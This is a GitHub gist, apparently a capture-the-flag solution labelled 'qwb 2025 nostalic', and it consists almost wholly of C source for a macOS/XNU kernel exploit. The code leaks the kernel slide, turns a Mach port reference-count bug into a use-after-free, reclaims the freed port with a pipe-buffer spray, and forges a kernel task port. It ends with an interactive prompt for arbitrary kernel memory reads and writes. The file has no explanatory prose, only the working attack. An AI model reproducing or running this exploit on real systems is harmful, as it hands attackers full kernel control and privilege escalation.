Created
December 6, 2025 05:18
-
-
Save lbr77/4f7200e59107a8df8308d24949cc34b4 to your computer and use it in GitHub Desktop.
qwb 2025 nostalic real wp
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <assert.h> | |
| #include <fcntl.h> | |
| #include <mach/mach.h> | |
| #include <mach/mach_time.h> | |
| #include <mach/mach_vm.h> | |
| #include <mach/thread_act.h> | |
| #include <pthread.h> | |
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <string.h> | |
| #include <sys/mman.h> | |
| #include <stddef.h> | |
| #include <sys/utsname.h> | |
| #include <unistd.h> | |
| // ---------------------------------------------------------------------------------------------- | |
| #define INFO(fmt, args...) \ | |
| printf("[*] " fmt "\n", ##args) | |
| #define SUCCESS(fmt, args...) \ | |
| printf("[+] " fmt "\n", ##args) | |
| #define ERROR(fmt, args...) \ | |
| printf("[-] " fmt "\n", ##args) | |
| #define KR(expr) \ | |
| do { \ | |
| kern_return_t _kr = (expr); \ | |
| if (_kr != KERN_SUCCESS) { \ | |
| ERROR("( " #expr " ) failed: %s %d ", mach_error_string(_kr), _kr); \ | |
| goto error; \ | |
| } \ | |
| } while (0) | |
| #define KRL(expr) \ | |
| do { \ | |
| kern_return_t _kr = (expr); \ | |
| if (_kr != KERN_SUCCESS) { \ | |
| ERROR("( " #expr " ) failed: %s %d", mach_error_string(_kr), _kr); \ | |
| goto error; \ | |
| } \ | |
| else { \ | |
| SUCCESS("succeeded: %s", mach_error_string(_kr)); \ | |
| } \ | |
| } while (0) | |
| #define NEQ(expr, val) \ | |
| do { \ | |
| if ((expr) != val) { \ | |
| ERROR("( "#expr " ) != " #val); \ | |
| goto error; \ | |
| } \ | |
| } while (0) | |
| #define EQ(expr, val) \ | |
| do { \ | |
| if ((expr) == val) { \ | |
| ERROR("( "#expr " ) == " #val); \ | |
| goto error; \ | |
| } \ | |
| } while (0) | |
| #define RELEASE_PORT(port) \ | |
| do \ | |
| { \ | |
| if(detect_port(port) == KERN_SUCCESS) \ | |
| { \ | |
| mach_port_destroy(mach_task_self(), port); \ | |
| port = MACH_PORT_NULL; \ | |
| } else { \ | |
| ERROR("Trying to release invalid port: %x", port); \ | |
| } \ | |
| } while(0) | |
| #define _EVENT_MASK_BITS ((sizeof(uint32_t) * 8) - 7) | |
| #define ull unsigned long long | |
| #define IO_BITS_KOTYPE 0x00000fff /* used by the object */ | |
| #define IO_BITS_ACTIVE 0x80000000 /* is object alive? */ | |
| #define IOT_PORT 0 | |
| #define IKOT_TASK 2 | |
| #define IKOT_NONE 0 | |
| #define WQT_QUEUE 0x2 | |
| #define BSD_INFO_OFFSET 752 // 0x2f0 | |
| #define PROC_PID_OFFSET 0x10 | |
| #define PROC_UID_OFFSET 0x30 | |
| #define TASK_PREV_STRUCT 0x30 | |
| #define VM_MAP_OFFSET 0x20 | |
| #define ITK_SELF 0xd0 | |
| #define ITK_NSELF 0xd8 | |
| // ---------------------------------------------------------------------------------------------- | |
| #define KB (1024uLL) | |
| #define MB (1024uLL * KB) | |
| #define GB (1024uLL * MB) | |
| #define UNSLID_DT_ADDR 0xffffff8001d34000ULL | |
| #define KERNEL_BASE 0xffffff8000200000ULL | |
| #define CLOCK_LIST_PORT 0xFFFFFF800084C1A0ULL | |
| #define REAL_HOST 0xffffff80008bddc0ULL | |
| #define KERNEL_TASK 0xffffff80008c5168ULL | |
| #define ZONE_MAP 0xffffff80008c5970ULL | |
| #define IPC_SPACE_KERNEL 0xffffff80008bac80ULL | |
| #define ALL_PROC 0xffffff80008ed180ULL | |
| // ---------------------------------------------------------------------------------------------- | |
| typedef volatile struct { // ipc_port_t | |
| uint32_t ip_bits; // +0 | |
| uint32_t ip_references; // +4 | |
| struct { | |
| uint32_t interlock; // +8 | |
| uint32_t pad; // +12 | |
| } ip_lock; | |
| // ipc_object above | |
| struct { | |
| struct { | |
| uint64_t flag; // + 16 | |
| uint64_t wq_interlock; // + 20 | |
| struct { | |
| uint64_t next; // -> prev // +28 | |
| uint64_t prev; // -> next // +36 | |
| } wq_queue; | |
| } wait_queue; | |
| struct { | |
| uint64_t ikmq_base; // +44 | |
| } messages; | |
| uint32_t msgcount; // +56 | |
| uint32_t qlimit; // +60 | |
| uint64_t seqno; // +64 | |
| // uint64_t receiver_name; // +72 | |
| uint32_t fullwaiters; // +72 | |
| uint64_t pset_count; // +76 | |
| } ip_messages; | |
| uint64_t ip_receiver; // +88 | |
| uint64_t ip_kobject; // +96 | |
| uint64_t ip_nsrequest; // +104 | |
| uint64_t ip_pdrequest; // +112 | |
| uint64_t ip_requests; // +120 | |
| uint64_t ip_premsg; // +128 | |
| uint32_t ip_mscount; //+136 | |
| uint32_t ip_srights; //+140 | |
| uint32_t ip_sorights; //+144 | |
| uint32_t ip_flags; // +148 | |
| uint64_t ip_context; // +152 | |
| } kport_t; | |
| typedef volatile struct { | |
| union { | |
| uint64_t port; | |
| uint64_t index; | |
| } notify; | |
| union { | |
| uint64_t name; | |
| uint64_t size; | |
| } name; | |
| } kport_request_t; | |
| typedef volatile struct { | |
| struct { | |
| uint64_t data; // +0 | |
| uint32_t reserved : 24, //+8 | |
| type : 8; | |
| uint32_t pad; //+12 | |
| } lock; // mutex lock | |
| uint32_t ref_count; // +16 | |
| uint32_t active; // +20 | |
| uint32_t halting; // +24 | |
| uint32_t pad2; // +28 | |
| uint64_t map; // +32 | |
| uint64_t prev; // 40 | |
| uint64_t next; // 48 | |
| } ktask_t; | |
| union waitq_flags { | |
| struct { | |
| uint32_t /* flags */ | |
| waitq_type:2, /* only public field */ | |
| waitq_fifo:1, /* fifo wakeup policy? */ | |
| waitq_prepost:1, /* waitq supports prepost? */ | |
| waitq_irq:1, /* waitq requires interrupts disabled */ | |
| waitq_isvalid:1, /* waitq structure is valid */ | |
| waitq_turnstile_or_port:1, /* waitq is embedded in a turnstile (if irq safe), or port (if not irq safe) */ | |
| waitq_eventmask:_EVENT_MASK_BITS; | |
| }; | |
| uint32_t flags; | |
| }; | |
| // ---------------------------------------------------------------------------------------------- | |
| uint64_t slide = 0, addrpem = 0; | |
| const size_t request_offset = 0x200; // offset inside the pipe buffer where the kport_request_t is located | |
| int n_early_ports = 0x8000; | |
| int n_middle_ports = 1; // victim | |
| int n_late_ports = 5000; | |
| mach_port_t early_ports[0x8000]; | |
| mach_port_t middle_ports[1]; | |
| mach_port_t victim; | |
| mach_port_t late_ports[5000]; | |
| void *pipe_buffer; | |
| size_t pipe_buffer_size; | |
| int rpipe; int wpipe; int offset; | |
| extern kern_return_t mach_zone_force_gc(mach_port_t); | |
| // ---------------------------------------------------------------------------------------------- | |
| static kern_return_t slide_leak(void) { | |
| INFO("leaking kernel slide..."); | |
| FILE *fp; | |
| char pipe_buffer[512]; | |
| uint64_t leaked_address = 0; | |
| fp = popen("ioreg -l | grep IOPlatformArgs", "r"); | |
| if (!fp) { | |
| ERROR("popen failed"); | |
| return KERN_FAILURE; | |
| } | |
| if (!fscanf(fp, "%*[^<]<%511[^>]>", pipe_buffer)) { | |
| ERROR("parse_slide: fgets failed"); | |
| pclose(fp); | |
| return KERN_FAILURE; | |
| } | |
| pclose(fp); | |
| // SUCCESS("IOPlatformArgs: %s", pipe_buffer); | |
| // 00901d2880ffffff00c01c2880ffffff90fb222880ffffff0000000000000000 got sth like | |
| // remove 10 char on head, read 16 bit in the mid | |
| // update: it's a fucking little-endian! so just cut the first 16 bit. | |
| char reversed[17] = {0}; | |
| for (int i = 0; i < 8; i++) { | |
| reversed[i*2] = pipe_buffer[14 - i*2]; | |
| reversed[i*2+1] = pipe_buffer[15 - i*2]; | |
| } | |
| leaked_address = strtoull(reversed, NULL, 16); | |
| SUCCESS("leaked address: 0x%llx", (ull)leaked_address); | |
| EQ(leaked_address, 0); | |
| slide = leaked_address - UNSLID_DT_ADDR; | |
| SUCCESS("calculated kernel slide: 0x%llx", (ull)slide); | |
| SUCCESS("kernel base: 0x%llx", (ull)(KERNEL_BASE) + slide); | |
| INFO("leaking addrpem for port clock"); | |
| mach_port_t clk = MACH_PORT_NULL; | |
| KR(host_get_clock_service(mach_host_self(), CALENDAR_CLOCK, &clk)); | |
| mach_vm_address_t clk_addr = 0,host_self_addr = 0; | |
| natural_t type = 0; | |
| KR(mach_port_kobject(mach_task_self(), mach_host_self(), &type, &host_self_addr)); // addr = REAL_HOST + slide + addrpem | |
| SUCCESS("realhost kobject addr: 0x%llx", (ull)host_self_addr); | |
| addrpem = host_self_addr - REAL_HOST - slide; | |
| KR(mach_port_kobject(mach_task_self(), clk, &type, &clk_addr)); // clk_addr = CLOCK_LIST_PORT + slide + addrpem + id * ? // id = 1 | |
| SUCCESS("clock port kobject addr: 0x%llx", (ull)clk_addr); | |
| SUCCESS("calculated addrpem: 0x%llx", (ull)addrpem); | |
| SUCCESS("calculated clock port offset (should be small): 0x%llx", (ull)(clk_addr - CLOCK_LIST_PORT - slide - addrpem)); | |
| return KERN_SUCCESS; | |
| error: | |
| return KERN_FAILURE; | |
| } | |
| static kern_return_t make_port_uaf(mach_port_t port, int mask) { | |
| INFO("making port uaf..."); | |
| // exception_mask_t mask = EXC_MASK_BAD_ACCESS; | |
| KR(task_set_exception_ports(mach_task_self(), mask, port, | |
| EXCEPTION_DEFAULT, THREAD_STATE_NONE)); // set => send right +1 => 2 => io_ref - 1 = 1 | |
| natural_t type = 0; | |
| mach_vm_address_t addr = 0; | |
| kern_return_t kr; | |
| KRL(mach_port_kobject(mach_task_self(), port, &type, &addr)); | |
| int times = 0; | |
| for(int i=0;i<2;i++) { | |
| KR(task_set_exception_ports(mach_task_self(), mask, port, | |
| EXCEPTION_DEFAULT, THREAD_STATE_NONE)); // set again => (n) send right keep => 2 , io_ref -1 => 0 | |
| times++; | |
| INFO("uaf attempt %d", times); | |
| kr = mach_port_kobject(mach_task_self(), port, &type, &addr); | |
| INFO("kr=%s", mach_error_string(kr)); | |
| } | |
| EQ(kr, KERN_SUCCESS); | |
| INFO("port is uafed after %d attempts", times); | |
| return KERN_SUCCESS; | |
| error: | |
| return KERN_FAILURE; | |
| } | |
| static mach_port_t make_port(void) { | |
| mach_port_t p = MACH_PORT_NULL; | |
| KR(mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p)); | |
| KR(mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND)); // | |
| return p; | |
| error: | |
| return MACH_PORT_NULL; | |
| } | |
| static kern_return_t detect_port(mach_port_t port) { | |
| natural_t type = 0; | |
| mach_vm_address_t addr = 0; | |
| kern_return_t kr; | |
| KR(mach_port_kobject(mach_task_self(), port, &type, &addr)); | |
| // INFO("probe: name=%d type=%u kaddr=0x%llx\n", | |
| // port, type, (unsigned long long)addr); | |
| return KERN_SUCCESS; | |
| error: | |
| return KERN_FAILURE; | |
| } | |
| void | |
| increase_file_limit() { | |
| struct rlimit rl = {}; | |
| int error = getrlimit(RLIMIT_NOFILE, &rl); | |
| assert(error == 0); | |
| rl.rlim_cur = 10240; | |
| rl.rlim_max = rl.rlim_cur; | |
| error = setrlimit(RLIMIT_NOFILE, &rl); | |
| if (error != 0) { | |
| ERROR("could not increase file limit"); | |
| } | |
| error = getrlimit(RLIMIT_NOFILE, &rl); | |
| assert(error == 0); | |
| if (rl.rlim_cur != 10240) { | |
| ERROR("file limit is %llu", rl.rlim_cur); | |
| } | |
| } | |
| void | |
| pipe_close(int pipefds[2]) { | |
| close(pipefds[0]); | |
| close(pipefds[1]); | |
| } | |
| static void | |
| set_nonblock(int fd) { | |
| int flags = fcntl(fd, F_GETFL); | |
| flags |= O_NONBLOCK; | |
| fcntl(fd, F_SETFL, flags); | |
| } | |
| int * | |
| create_pipes(size_t *pipe_count) { | |
| // Allocate our initial array. | |
| size_t capacity = *pipe_count; | |
| int *pipefds = calloc(2 * capacity, sizeof(int)); | |
| assert(pipefds != NULL); | |
| // Create as many pipes as we can. | |
| size_t count = 0; | |
| for (; count < capacity; count++) { | |
| // First create our pipe fds. | |
| int fds[2] = { -1, -1 }; | |
| int error = pipe(fds); | |
| // Unfortunately pipe() seems to return success with invalid fds once we've | |
| // exhausted the file limit. Check for this. | |
| if (error != 0 || fds[0] < 0 || fds[1] < 0) { | |
| pipe_close(fds); | |
| break; | |
| } | |
| // Mark the write-end as nonblocking. | |
| set_nonblock(fds[1]); | |
| // Store the fds. | |
| pipefds[2 * count + 0] = fds[0]; | |
| pipefds[2 * count + 1] = fds[1]; | |
| } | |
| // Truncate the array to the smaller size. | |
| int *new_pipefds = realloc(pipefds, 2 * count * sizeof(int)); | |
| assert(new_pipefds != NULL); | |
| // Return the count and the array. | |
| *pipe_count = count; | |
| return new_pipefds; | |
| } | |
| void | |
| close_pipes(int *pipefds, size_t pipe_count) { | |
| for (size_t i = 0; i < pipe_count; i++) { | |
| pipe_close(pipefds + 2 * i); | |
| } | |
| } | |
| size_t | |
| pipe_spray(const int *pipefds, size_t pipe_count, | |
| void *pipe_buffer, size_t pipe_buffer_size, | |
| void (^update)(uint32_t pipe_index, void *data, size_t size)) { | |
| assert(pipe_count <= 0xffffff); | |
| assert(pipe_buffer_size > 512); | |
| size_t write_size = pipe_buffer_size - 1; | |
| size_t pipes_filled = 0; | |
| for (size_t i = 0; i < pipe_count; i++) { | |
| // Update the buffer. | |
| if (update != NULL) { | |
| update((uint32_t)i, pipe_buffer, pipe_buffer_size); | |
| } | |
| // Fill the write-end of the pipe with the buffer. Leave off the last byte. | |
| int wfd = pipefds[2 * i + 1]; | |
| ssize_t written = write(wfd, pipe_buffer, write_size); | |
| if (written != write_size) { | |
| // This is most likely because we've run out of pipe buffer memory. None of | |
| // the subsequent writes will work either. | |
| break; | |
| } | |
| pipes_filled++; | |
| } | |
| return pipes_filled; | |
| } | |
| void pipe_gc(const int *pipefds, size_t pipe_count, int skip_pipe) { | |
| for(int i=0;i<pipe_count;i++) { | |
| if(i == skip_pipe) continue; | |
| pipe_close((int *)(pipefds + 2*i)); | |
| } | |
| } | |
| // ---------------------------------------------------------------------------------------------- | |
| void read_prim() { | |
| INFO("reading mach port..."); | |
| ssize_t n = read(rpipe, pipe_buffer, pipe_buffer_size); | |
| EQ(n, -1); | |
| INFO("read success"); | |
| return; | |
| error: | |
| ERROR("read failed in read_mach_port"); | |
| return; | |
| } | |
| void write_prim() { | |
| ssize_t n = write(wpipe, pipe_buffer, pipe_buffer_size); | |
| EQ(n, -1); | |
| INFO("write success"); | |
| return; | |
| error: | |
| ERROR("write failed in write_mach_port"); | |
| return; | |
| } | |
| void edit_mach_port(size_t offset, void(^update)(kport_t *fakeport)) { | |
| read_prim(); | |
| kport_t *port = (kport_t *)((uint8_t *)pipe_buffer + offset); | |
| if(update!=NULL) { | |
| update(port); | |
| } | |
| write_prim(); | |
| return; | |
| } | |
| void read_mach_port(size_t offset, kport_t *outport) { | |
| read_prim(); | |
| kport_t *port = (kport_t *)((uint8_t *)pipe_buffer + offset); | |
| if(outport != NULL) { | |
| memcpy(outport, port, sizeof(kport_t)); | |
| } | |
| write_prim(); | |
| return; | |
| } | |
| void edit_proc_task(size_t offset, void(^update)(ktask_t *task)) { | |
| read_prim(); | |
| kport_t *port = (kport_t *)((uint8_t *)pipe_buffer + offset); | |
| if(update!=NULL) { | |
| update(port); | |
| } | |
| write_prim(); | |
| return; | |
| } | |
| static inline uint32_t mach_port_waitq_flags() { | |
| union waitq_flags waitq_flags = {}; | |
| waitq_flags.waitq_type = WQT_QUEUE; | |
| waitq_flags.waitq_fifo = 1; | |
| waitq_flags.waitq_prepost = 0; | |
| waitq_flags.waitq_irq = 0; | |
| waitq_flags.waitq_isvalid = 1; | |
| waitq_flags.waitq_turnstile_or_port = 1; | |
| return waitq_flags.flags; | |
| } | |
| // ---------------------------------------------------------------------------------------------- | |
| static mach_port_t tfpzero; | |
| void init_kernel_memory(mach_port_t tfp0) { | |
| tfpzero = tfp0; | |
| } | |
| uint64_t kalloc(vm_size_t size) { | |
| mach_vm_address_t address = 0; | |
| mach_vm_allocate(tfpzero, (mach_vm_address_t *)&address, size, VM_FLAGS_ANYWHERE); | |
| return address; | |
| } | |
| void kfree(mach_vm_address_t address, vm_size_t size) { | |
| mach_vm_deallocate(tfpzero, address, size); | |
| } | |
| size_t kread(uint64_t where, void *p, size_t size) { | |
| int rv; | |
| size_t offset = 0; | |
| while (offset < size) { | |
| mach_vm_size_t sz, chunk = 2048; | |
| if (chunk > size - offset) { | |
| chunk = size - offset; | |
| } | |
| rv = mach_vm_read_overwrite(tfpzero, where + offset, chunk, (mach_vm_address_t)p + offset, &sz); | |
| if (rv || sz == 0) { | |
| printf("[-] error on kread(0x%016llx)\n", where); | |
| break; | |
| } | |
| offset += sz; | |
| } | |
| return offset; | |
| } | |
| size_t kwrite(uint64_t where, const void *p, size_t size) { | |
| int rv; | |
| size_t offset = 0; | |
| while (offset < size) { | |
| size_t chunk = 2048; | |
| if (chunk > size - offset) { | |
| chunk = size - offset; | |
| } | |
| rv = mach_vm_write(tfpzero, where + offset, (mach_vm_offset_t)p + offset, (int)chunk); | |
| if (rv) { | |
| printf("[-] error on kwrite(0x%016llx)\n", where); | |
| break; | |
| } | |
| offset += chunk; | |
| } | |
| return offset; | |
| } | |
| void wk32(uint64_t where, uint32_t what) { | |
| uint32_t _what = what; | |
| kwrite(where, &_what, sizeof(uint32_t)); | |
| } | |
| void wk64(uint64_t where, uint64_t what) { | |
| uint64_t _what = what; | |
| kwrite(where, &_what, sizeof(uint64_t)); | |
| } | |
| uint32_t rk32(uint64_t where) { | |
| uint32_t out; | |
| kread(where, &out, sizeof(uint32_t)); | |
| return out; | |
| } | |
| uint64_t rk64(uint64_t where) { | |
| uint64_t out; | |
| kread(where, &out, sizeof(uint64_t)); | |
| return out; | |
| } | |
| // ---------------------------------------------------------------------------------------------- | |
| int main() { | |
| INFO("kaslr leak"); | |
| KR(slide_leak()); | |
| INFO("make port"); | |
| INFO("spray ports"); | |
| INFO("about to allocate ports\n"); | |
| for (int i = 0; i < n_early_ports; i++) { | |
| early_ports[i] = make_port(); | |
| } | |
| victim = make_port(); | |
| for(int i=0;i<n_late_ports;i++) { | |
| late_ports[i] = make_port(); | |
| } | |
| INFO("allocated ports"); | |
| INFO("uafing port"); | |
| make_port_uaf(victim, EXC_MASK_BAD_ACCESS); | |
| INFO("uaf'ed port"); | |
| for(int i=0;i<n_early_ports;i++) { | |
| RELEASE_PORT(early_ports[i]); | |
| } | |
| for(int i=0;i<n_late_ports;i++) { | |
| RELEASE_PORT(late_ports[i]); | |
| } | |
| INFO("freed surrounding ports"); | |
| for (int i = 0; i < 10; i++) { | |
| mach_zone_force_gc(mach_host_self()); | |
| } | |
| INFO("mach_zone_force_gc done"); | |
| pipe_buffer_size = 4096; // make it to kalloc.4096 | |
| size_t pipe_count = 16 * MB / pipe_buffer_size; | |
| increase_file_limit(); | |
| int *pipefds_array = create_pipes(&pipe_count); | |
| INFO("created %zu pipes", pipe_count); | |
| pipe_buffer = calloc(1, pipe_buffer_size); | |
| EQ(pipe_buffer, NULL); | |
| bzero(pipe_buffer, pipe_buffer_size); | |
| size_t pipes_filled = pipe_spray(pipefds_array, pipe_count, pipe_buffer, pipe_buffer_size, NULL ); | |
| INFO("filled %zu pipes", pipes_filled); | |
| KR(mach_port_set_context(mach_task_self(), victim, 0x41414141)); | |
| INFO("set victim port context"); | |
| INFO("try locate which page"); | |
| int pipe_idx = -1; | |
| int context_location = -1; | |
| for(size_t i=0;i<pipes_filled;i++) { | |
| ssize_t n = read(pipefds_array[2*i], pipe_buffer, pipe_buffer_size); | |
| if(n < 0) { | |
| ERROR("read pipe %zu failed", i); | |
| continue; | |
| } | |
| uint32_t *p = (uint32_t *)pipe_buffer; | |
| for(size_t j=0;j<(pipe_buffer_size/4);j++) { | |
| if(p[j] == 0x41414141) { | |
| SUCCESS("found in pipe %zu at offset 0x%zx", i, j*4); | |
| pipe_idx = (int)i; | |
| context_location = (int)(j*4); | |
| break; | |
| } | |
| } | |
| if(pipe_idx != -1) break; | |
| } | |
| EQ(pipe_idx, -1); | |
| EQ(context_location, -1); | |
| INFO("found victim port in pipe %d at offset 0x%x", pipe_idx, context_location); | |
| offset = context_location - offsetof(kport_t, ip_context); // page offset of kport_t | |
| pipe_gc(pipefds_array, pipe_count, pipe_idx); | |
| KR(mach_zone_force_gc(mach_host_self())); | |
| INFO("freed other pipes"); | |
| rpipe = pipefds_array[2*pipe_idx]; | |
| wpipe = pipefds_array[2*pipe_idx + 1]; | |
| // write(wpipe, pipe_buffer, pipe_buffer_size); // product to rpipe. | |
| write_prim(pipe_buffer, wpipe); | |
| mach_port_t tfp0 = make_port(); | |
| mach_port_t notify = MACH_PORT_NULL; | |
| edit_mach_port(offset, ^(kport_t *fakeport){ | |
| bzero(fakeport, sizeof(kport_t)); | |
| fakeport->ip_bits = IKOT_NONE; | |
| fakeport->ip_references = 0x100; | |
| fakeport->ip_messages.qlimit = MACH_PORT_QLIMIT_KERNEL; | |
| fakeport->ip_messages.msgcount = 0; | |
| fakeport->ip_srights = 0x10; | |
| fakeport->ip_context = 0; | |
| }); | |
| KR(mach_port_request_notification(mach_task_self(), victim, MACH_NOTIFY_PORT_DESTROYED, 0, tfp0, MACH_MSG_TYPE_MAKE_SEND_ONCE, ¬ify)); | |
| kport_t readback; | |
| read_mach_port(offset, &readback); | |
| uint64_t tfp0_addr = readback.ip_pdrequest; | |
| SUCCESS("tfp0 addr: 0x%llx", (ull)tfp0_addr); | |
| KR(mach_port_request_notification(mach_task_self(), victim, MACH_NOTIFY_PORT_DESTROYED, 0, victim, MACH_MSG_TYPE_MAKE_SEND_ONCE, ¬ify)); | |
| read_mach_port(offset, &readback); | |
| uint64_t victim_addr = readback.ip_pdrequest; | |
| SUCCESS("victim addr: 0x%llx", (ull)victim_addr); | |
| // buffer start | |
| uint64_t buffer_start_address = victim_addr - offset; | |
| SUCCESS("pipe buffer addr: 0x%llx", (ull)buffer_start_address); | |
| kport_request_t kreq = { | |
| .notify = | |
| { | |
| .port = 0, | |
| } | |
| }; | |
| edit_mach_port(offset, ^(kport_t *fakeport){ | |
| fakeport->ip_bits = IO_BITS_ACTIVE | IKOT_TASK; | |
| fakeport->ip_references = 0x100; | |
| fakeport->ip_messages.qlimit = MACH_PORT_QLIMIT_KERNEL; | |
| fakeport->ip_messages.msgcount = 0; | |
| fakeport->ip_srights = 0x10; | |
| fakeport->ip_context = 0; | |
| fakeport->ip_requests = victim_addr + offsetof(kport_t, ip_context) | |
| - offsetof(kport_request_t, name.size); | |
| }); | |
| INFO("write done"); | |
| #define KREAD(addr, out, size) \ | |
| do { \ | |
| for(size_t i=0;i<((size) + sizeof(uint32_t) - 1) / sizeof(uint32_t); i++) { \ | |
| KR(mach_port_set_context(mach_task_self(), victim, addr + i * sizeof(uint32_t))); \ | |
| mach_msg_type_number_t outsz = 1; \ | |
| KR(mach_port_get_attributes(mach_task_self(), victim, MACH_PORT_DNREQUESTS_SIZE, (mach_port_info_t)((uint32_t*)(out)+i), &outsz)); \ | |
| } \ | |
| } while(0) | |
| uint64_t struct_task = 0; // task kobject. | |
| natural_t type = 0; | |
| mach_port_kobject(mach_task_self(), mach_task_self(), &type, &struct_task); | |
| uint64_t self_proc = 0; | |
| struct_task -= addrpem; | |
| SUCCESS("self task kobject addr: 0x%llx", (ull)struct_task); | |
| self_proc = struct_task; | |
| uint64_t kernel_vm_map = 0; | |
| EQ(struct_task, 0); | |
| while (struct_task != 0) { | |
| uint64_t bsd_info; | |
| KREAD(struct_task + BSD_INFO_OFFSET, &bsd_info, sizeof(bsd_info)); | |
| EQ(bsd_info, 0); | |
| SUCCESS("found next bsd_info: 0x%llx", (ull)bsd_info); | |
| uint32_t pid; | |
| KREAD(bsd_info + PROC_PID_OFFSET, &pid, sizeof(pid)); | |
| SUCCESS("found pid: %u", pid); | |
| if (pid == 0) { | |
| uint64_t vm_map; | |
| KREAD(struct_task + VM_MAP_OFFSET, &vm_map, sizeof(vm_map)); | |
| EQ(vm_map, 0); | |
| SUCCESS("found kernel_vm_map: 0x%llx", (ull)vm_map); | |
| kernel_vm_map = vm_map; | |
| break; | |
| } | |
| KREAD(struct_task + TASK_PREV_STRUCT, &struct_task, sizeof(struct_task)); | |
| } | |
| void *kernel_task_port_dump = malloc(0x100); | |
| void *kernel_task_dump = malloc(0x200); | |
| uint64_t kernel_task_addr = 0; | |
| KREAD(KERNEL_TASK + slide, &kernel_task_addr, sizeof(kernel_task_addr)); | |
| SUCCESS("kernel_task_addr: 0x%llx", (ull)kernel_task_addr); | |
| uint64_t kernel_itk_self = 0; | |
| KREAD(kernel_task_addr + ITK_SELF, &kernel_itk_self, sizeof(kernel_itk_self)); | |
| SUCCESS("kernel_itk_self: 0x%llx", (ull)kernel_itk_self); | |
| uint64_t fake_task_offset = 0; | |
| if(offset > 0x500) { // if task port is in later of buffer, we create task at front | |
| fake_task_offset = 0; | |
| } else { | |
| fake_task_offset = pipe_buffer_size - 0x200; // else create at end of buffer | |
| } | |
| INFO("fake task offset: 0x%llx", (ull)fake_task_offset); | |
| KREAD(kernel_task_addr, kernel_task_dump, 0x200); | |
| SUCCESS("dumped kernel task struct"); | |
| KREAD(kernel_itk_self, kernel_task_port_dump, 0x100); | |
| SUCCESS("dumped kernel task port struct"); | |
| edit_proc_task(fake_task_offset, ^(ktask_t *task) { | |
| memcpy(task, kernel_task_dump, 0x200); | |
| task->map = kernel_vm_map; | |
| }); | |
| // uint64_t faketask_addr = buffer_start_address + fake_task_offset; | |
| // SUCCESS("fake task addr: 0x%llx", (ull)faketask_addr); | |
| edit_mach_port(offset, ^(kport_t *fakeport){ | |
| bzero(fakeport, sizeof(kport_t)); | |
| memcpy(fakeport, kernel_task_port_dump, 0x100); | |
| fakeport->ip_kobject = buffer_start_address + fake_task_offset; | |
| }); | |
| SUCCESS("faKe tfp0 ready!"); | |
| init_kernel_memory(victim); | |
| INFO("testing kr/w..."); | |
| uint64_t addr = kalloc(8); | |
| INFO("allocated kernel memory at 0x%llx", (ull)addr); | |
| EQ(addr, 0); | |
| wk64(addr, 0x4141414141414141); | |
| uint64_t readb = rk64(addr); | |
| kfree(addr, 8); | |
| printf("[*] read back: 0x%llx\n", readb); | |
| NEQ(readb, 0x4141414141414141); | |
| SUCCESS("kr/w test passed!"); | |
| SUCCESS("give you a shell to play with tfp0..."); | |
| while(true) { | |
| void *buffer = malloc(1024); | |
| printf("> "); // read addr size / write addr size value | |
| char cmd; | |
| scanf(" %c", &cmd); | |
| if(cmd == 'r') { | |
| uint64_t address; | |
| size_t size; | |
| scanf(" %llx %zu", &address, &size); | |
| kread(address, buffer, size); | |
| printf("data: "); | |
| for(size_t i=0;i<size;i++) { | |
| printf("%02x ", ((uint8_t *)buffer)[i]); | |
| } | |
| } | |
| else if(cmd == 'w') { | |
| uint64_t address; | |
| size_t size; | |
| uint64_t value; | |
| scanf(" %llx %zu %llx", &address, &size, &value); | |
| if(size == 4) { | |
| uint32_t v32 = (uint32_t)value; | |
| kwrite(address, &v32, 4); | |
| } else if(size == 8) { | |
| kwrite(address, &value, 8); | |
| } else { | |
| printf("unsupported size\n"); | |
| } | |
| } | |
| free(buffer); | |
| } | |
| pause(); | |
| error: | |
| ERROR("Failed to exploit, pause..."); | |
| pause(); | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment